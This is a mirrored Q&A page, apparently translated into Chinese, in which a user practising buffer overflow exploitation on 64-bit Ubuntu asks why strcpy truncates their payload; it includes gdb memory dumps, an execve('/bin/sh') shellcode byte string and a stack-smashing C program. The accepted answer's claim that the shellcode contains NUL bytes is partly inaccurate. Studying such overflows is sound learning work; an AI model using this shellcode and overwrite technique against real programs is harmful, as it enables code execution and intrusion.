c - 64 位 Ubuntu 上的利用

标签 c ubuntu assembly gdb

您好,我正在 64 位 Ubuntu 上练习利用,在检查源代码期间,我意识到放置在 large_string 中的缓冲区地址 (0x7fffffffddd0) 包含零。

(gdb) x/gx large_string
0x6010c0 <large_string>:    0x00007fffffffddd0
(gdb) x/bx large_string
0x6010c0 <large_string>:    0xd0
(gdb) x/bx large_string + 1
0x6010c1 <large_string+1>:  0xdd
(gdb) x/bx large_string + 2
0x6010c2 <large_string+2>:  0xff
(gdb) x/bx large_string + 3
0x6010c3 <large_string+3>:  0xff
(gdb) x/bx large_string + 4
0x6010c4 <large_string+4>:  0xff
(gdb) x/bx large_string + 5
0x6010c5 <large_string+5>:  0x7f
(gdb) x/bx large_string + 6
0x6010c6 <large_string+6>:  0x00
(gdb) x/bx large_string + 7
0x6010c7 <large_string+7>:  0x00

strcpy 函数工作得很好,复制了包含 shellcode 的 large_string 的前 44 个字节,但之后就出现了问题。

我的问题是编译器在调用 strcpy 期间是否将这些零解释为空字节?如果是,我应该如何解决此问题?

   #include <stdio.h>
   #include <string.h>

shellcode[] = "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8b\x56\x0c\xcd\x80\xb0\x01\x31\xdb"
              "\xcd\x80\xe8\xdd\xff\xff\xff/bin/sh"

char large_string[200];
int main(int argc, char *argv[]){
    char buffer[96];
    int i;
    unsigned long *long_ptr;
    long_ptr = (unsigned long *) large_string;

    for(i = 0; i<25; i++)
        *(long_ptr + i) = (unsigned long) buffer;
    for(i = 0; i<strlen(shellcode); i++)
        large_string[i] = shellcode[i];

    strcpy(buffer,large_string);
}

最佳答案

strcpy 函数在遇到 NUL 字节时停止复制。由于 shellcode 包含 NUL 字节,因此您无法使用该函数进行复制。您应该使用 memcpy,它将指定数量的字节从一个缓冲区复制到另一个缓冲区:

memcpy(buffer,large_string,sizeof(large_string));

关于c - 64 位 Ubuntu 上的利用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31920333/

相关文章:

assembly - 指令 FYL2XP1

assembly - x86 asm 中 NOT 指令的简单示例

c - 工具链(编译器/调试器)中的错误?

c - C 中的表达式和 for 循环

linux - Ubuntu 中的 Terraform 路径问题

ubuntu - Tomcat:在 Ubuntu 上安装后无法启动 Tomcat: "Job for tomcat.service failed because the control process exited with error code."

ruby-on-rails - ruby 在 Linux : permanently "source .rvm/scripts/rvm"?

c - 这个逻辑的输出是什么?

c - 从外部函数返回字符串,同时防止内存泄漏

c++ - 为什么编译器左移0?